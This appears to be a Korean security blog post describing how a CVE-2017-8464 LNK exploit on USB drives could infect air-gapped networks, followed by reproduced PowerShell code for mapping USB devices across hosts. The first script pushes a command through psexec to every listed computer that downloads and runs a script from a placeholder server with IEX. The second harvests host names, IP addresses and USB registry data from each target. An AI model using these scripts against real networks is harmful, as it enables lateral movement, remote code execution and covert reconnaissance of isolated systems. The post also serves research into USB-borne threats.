[HACKING] Closed network infection scenario and Detecting hidden networks (Using USB/Exploit)

어제 EDB를 둘러보던 중 재미있는 문서를 보았는데요. 여러가지 생각을 해보다보니 포스팅으로 작성할만한 것 같아 글을써봅니다.

오늘은 USB와 LNK Exploit을 이용해서 폐쇄망에 침투/감염 시나리오와 Powershell trick과 USB를 이용해 네트워크 구성, 더 상세하겐 내부에서 사용되는 USB의 흐름을 보는 이야기로 준비해보았습니다.

LNK Remote Code Execution(CVE-2017-8464)

CVE-2017-8464(LNK Remote Code Execution) 는 올 6월 발표된 따끈따끈한 취약점니다. 코드가 삽입된 아이콘 파일은 윈도우 탐색기가 읽는(보는) 순간 임의의 코드 실행이 가능합니다. 물론 공격코드나 분석에 대한 정보가 없어 해당 내용으로 이야기를 깊게 풀기는 조금 어려울 것 같습니다.

다만 중국에 demonsec(demonsec666)이 올린 포스팅과 youtube 찾아보시면 조금은 도움되지 않을까 싶네요. 정확히 8464는 아닌 것 같지만.. (제 입장에서 중국어는 구글 번역에만 의존해야하니 넘 어렵군요)

아이콘을 통해 감염이나 공격에 성공할 수 있는점은 아주 놀랍고 활용성도 굉장히 높습니다. 아이콘 파일을 탐색기에서 로드하는 순간 임의 코드 실행이 가능하기 때문에 아이콘을 전파할 수 있는 경로라면 모두 실행이 가능하고 일반적인 네트워크가 없는 경우에도 블루투스, 비콘, USB 등 아이콘을 전송할 수 있는 포인트는 많이 있습니다. 그중에서도 USB는 아주 치명적이겠죠. (USB를 연결하는 경우 대다수가 탐색기를 켤 것 같네요)

EDB에서 봤던 문서에서는 네트워크 내 디바이스들의 USB를 정보를 수집하는 코드로 나와있고 저런 취약점을 같이 활용한다면 망이 분리되고 USB를 통해 연결할 수 있는 폐쇄망까지 노려볼 수 있는 좋은 루트가 되겠죠.

Infection scenario

우리는 LNK Remote Code Execution 취약점을 이용하면 USB와 같이 여러 매체를 이용해서 공격코드를 실행하거나 악성코드를 전파할 수 있습니다. 간단하죠..

Exploit 코드를 USB에 넣고 누군가 옮겨주길 기다리면 됩니다. USB를 연결하고 탐색기로 USB 내부를 보는순간 Exploit 코드는 동작하고 그 PC도 악성코드에 감염될 수 있죠. 폐쇄망 환경에선 인터넷 접근이 안되기 때문에 자료 이동에 불편함이 따릅니다. 그래서 여러가지 방법(임시로 네트워크 허용, 특정 디바이스만 허용, USB, CD 등등)으로 데이터를 이동시키죠. 물론 잠깐이여도 네트워크는 연결하는 순간 폐쇄망으로서의 가치를 잃겠지만, 사용성이라는 측면도 보안만큼 중요하게 따라오기 때문에 이런 정책을 사용하는 네트워크도 있을거라 봅니다.

그럼 어떻게 PC의 USB를 식별하고 연결할 수 있는지 알아보겠습니다.

Windows에서의 USB Devices 연결

Windows에서 USB 연결 시 많은 정보가 PC에 저장됩니다. 대표적으로는 USBSTOR 가 있습니다. USBSTOR는 레지스트리 속성이며 연결된 USB 장치에 대한 많은 정보가 있습니다. (HKEY_LOCAL_MACHINE\SYSTEM\ControlSet\Enum\USBSTOR)

• Device name. • Class. • ClassGUID. • HardwareID. • Service provided by the device(e.g hdd) • Driver. • Etc.

등등..

우리는 Powershell을 이용해서 정보를 조금 더 쉽게 뽑아낼 수 있습니다.

PS C:\Users\Administrator> Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Enum\USBSTOR** | Select FriendLyName,ContainerID

FriendlyName                                      ContainerID
------------                                      -----------
General USB Flash Disk USB Device                 {1a78c41b-a11e-5e94-91ed-a180a52f30b2}
Generic Flash Disk USB Device                     {5d411558-71b7-5027-9bc1-482c1e9a1efb}
Generic Mass Storage USB Device                   {70022a7c-191e-5cc7-a43f-50a79c9fd86c}
JetFlash Transcend 4GB USB Device                 {ff19f1ee-f700-5974-9c3e-79f005c62ae6}
LGE USB Drive USB Device                          {ff56e034-3e59-5b0b-a7a8-9d5f40163929}
LGE USB Drive USB Device                          {45a0779e-a5f2-50b1-a9bd-3c64b624956f}
MARSHAL MAL2250SA-T54 USB Device                  {c52af4c1-378a-5197-ad57-020de3fb8535}
SanDisk Ultra Fit USB Device                      {47853ea7-57bf-5b16-b7a8-d622dda7758b}
SMI USB DISK USB Device                           {165c607f-85ad-50c5-9a15-300d186b8bee}
TERA U-80 USB Device                              {e5baf658-a1ea-5f00-a374-503b9c841ab8}
USB Flash Drive USB Device                        {98651877-37f6-5be5-a4f2-5cdda58d0755}
Ut165 USB2FlashStorage USB Device                 {029a53d5-5f1c-5864-b787-c93a5f8f0b13}

요런식으로 장비 이름과 ContainerID를 추출할 수 있죠. 추가로 C:\Windows\inf\setupapi.dev.log 를 보시면 USB 연결 이력에 대한 많은 정보들을 획득할 수 있습니다.

setupapi.dev.log file!
script run output

그러면.. LNK Remote Exploit 과 USB 정보를 읽는 Posershell 스크립트라면 폐쇄망에 접근할 수 있는 가능성이 높아지겠군요! 자 그럼 조금 더 활용해서 전체 네트워크와 USB의 관계를 알아보겠습니다.

Network&USB 정보 수집을 위한 PowerShell Script

USB 연결정보에 대해 알았으니 특정 USB 디바이스를 식별하는건 어렵지 않고, 다른 장치가 아닌 저장장치를 통해 전파하는 것도 어렵지 않겠죠.

PSexec를 활용하면 SMB를 통해 쉽게 Powershell script 를 네트워크로 전파할 수 있습니다. 이게 가능할 경우 별도로 악성코드 제작이 필요없죠. (스크립트로만 동작할 수 있다면 분류에 따라 Fileless로도 볼 수 있겠군요)

아래 부분은 ElevenPaths가 작성한 코드(https://github.com/ElevenPaths/USBHiddenNetworks )입니다. PSexec를 이용해 SMB로 Powershell script, 즉 SMB를 이용해서 USB 정보를 수집하는 코드를 전파하는 내용을 담고있습니다.

# HiddenNetwork SMB / PSexec
# Don´t forget change paths to files

$computers = gc "C:\scripts\HiddenNetworks\PSExec\USBHiddenNetworks_for_SMB\servers.txt"  # 타겟의 주소가 들어갑니다.
$url = "http://TypeYourIPHere/RecollectUSBData.ps1"  # 여기엔 이 코드 다음에 받을 서버의 주소가 들어갑니다.
$sincro = 40   # 작업이 끝날때까지 기다려주기 위한 sleep 입니다.

foreach ($computer in $computers) {
    $Process = [Diagnostics.Process]::Start("cmd.exe","/c psexec.exe \\$computer powershell.exe -C IEX (New-Object Net.Webclient).Downloadstring('$url') >> C:\scripts\HiddenNetworks\PSExec\USBHiddenNetworks_for_SMB\usbdata.csv") 
    # [Diagnostics.Process]를 통해 cmd 를 실행하고 psexec.exe를 실행하여 타겟의 주소로 posershell 명령을 날립니다.
    #  여기서 Powsershell 명령 중 IEX 옵션이 보이는데요, Invoke-Expression cmdlet를 통해 타겟 서비스에서 바로 실행해줍니다.
    $id = $Process.Id      
    sleep $sincro  
    Write-Host "Process created. Process id is $id"
    taskkill.exe /PID $id
}

위 코드서 중요한건 3가지 정도 있습니다.

  1. psexec.exe가 AD(Active Directory)를 통해 명령을 던질 수 있다.
    • 다만 SMB 통신을 하려면 PStool이 있어야하지만, AD서버 관리자 PC라면 이야기가 달라짐, 아주 쉽게 전파가 가능함
  2. powershell 명령의 인자 중 IEX 옵션은 Invoke-Expression를 의미하며 타겟에서 코드가 바로 실행되기 위해 포함시키죠.
  3. posershell 명령의 출력값은 특정 경로의 csv 파일로 저장합니다.

두번째 코드(USB 데이터를 읽어오는 부분)을 보면 아래와 같습니다.

RecollectUSBData.ps1

# HiddenNetworks
# SMB PSExec version
# Output USB data from local computer to CSV file
# 이 코드느 타겟에서 실행되는 코드입니다.

$USBDevices = @()
$USBContainerID = @()
$USBComputerName = @()
$USBComputerIP = @()
$SubKeys2        = @()
$USBSTORSubKeys1 = @()

$Hive   = "LocalMachine"
$Key    = "SYSTEM\CurrentControlSet\Enum\USBSTOR"

$ComputerName = $Env:COMPUTERNAME   # 해당 컴퓨터 이름을 읽어오고..
$ComputerIP = $localIpAddress=((ipconfig | findstr [0-9].\.)[0]).Split()[-1] # ip 정보를 읽어옵니다.

$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($Hive,$Computer) # 그 다음 ...
$USBSTORKey = $Reg.OpenSubKey($Key) # 레지스트리를 열어 USBSTOR를 읽고 그 안의 값을 가져옵니다.
$nop=$false

Try {
    $USBSTORSubKeys1  = $USBSTORKey.GetSubKeyNames()
}
Catch
{
    Write-Host "Computer: ",$ComputerName -foregroundcolor "white" -backgroundcolor "red"
    Write-Host "No USB data found"
    $nop=$true
}

# USB searching for devices connected
if(-Not $nop)
{
    ForEach($SubKey1 in $USBSTORSubKeys1)
    {         
        $Key2 = "SYSTEM\CurrentControlSet\Enum\USBSTOR\$SubKey1"
        $RegSubKey2 = $Reg.OpenSubKey($Key2)
        $SubkeyName2 = $RegSubKey2.GetSubKeyNames()     
        $Subkeys2  += "$Key2\$SubKeyName2"
        $RegSubKey2.Close()   
           
    }

    ForEach($Subkey2 in $Subkeys2)
    {
        $USBKey = $Reg.OpenSubKey($Subkey2)
        $USBDevice = $USBKey.GetValue('FriendlyName')
        $USBContainerID = $USBKey.GetValue('ContainerID')
   
        If($USBDevice)
        {
            $USBDevices += New-Object -TypeName PSObject -Property @{
            USBDevice = $USBDevice
            USBContainerID = $USBContainerID
            USBComputerName= $ComputerName
            ComputerIP = $ComputerIP
            }  
        }
 
        $USBKey.Close()           
    }
   
    # Output data to screen

    for ($i=0; $i -lt $USBDevices.length; $i++) {   # Friendly Name, COntainerID 를 위에서 읽어온 후 Write-Host로 출력합니다.
        $IDUnico=$USBDevices[$i] | Select -ExpandProperty "USBContainerID"
        $USBNombre=$USBDevices[$i] | Select -ExpandProperty "USBDevice" 
        Write-Host "$ComputerName,$ComputerIP,$USBNombre,$IDUnico"      
    }
}

이 코드가 동작하면 각 host 에서 pc의 정보와 usb 정보가 출력되고, 이는 최초 실행 코드에서 (New-Object Net.Webclient).Downloadstring(‘$url’) » C:\scripts\HiddenNetworks\PSExec\USBHiddenNetworks_for_SMB\usbdata.csv”) 코드를 통해 usbdata.csv 파일로 저장됩니다. 공격자는 순식간에 네트워크 정보와 USB 장치들관의 관계를 알 수 있습니다.

수집된 파일은 여러가지 방면으로 사용될 수 있겠네요. 곰곰히 생각해보니.. 특정 USB ContainerID가 여러 PC에서 찍힌다면 분명 돌고도는 USB 이거나 업무에 사용되는 USB로 볼 수 있겠죠. 시간을 투자한다면 네트워크 구성과 함께 USB Network의 구성도 볼 수 있겠네요.

빨간선이 USB 연결점 / 파란선이 감염점

Reference

http://www.elladodelmal.com/2017/06/brutal-kangaroo-y-la-infeccion-por-usb.html https://www.exploit-db.com/docs/42318.pdf https://github.com/ElevenPaths/USBHiddenNetworks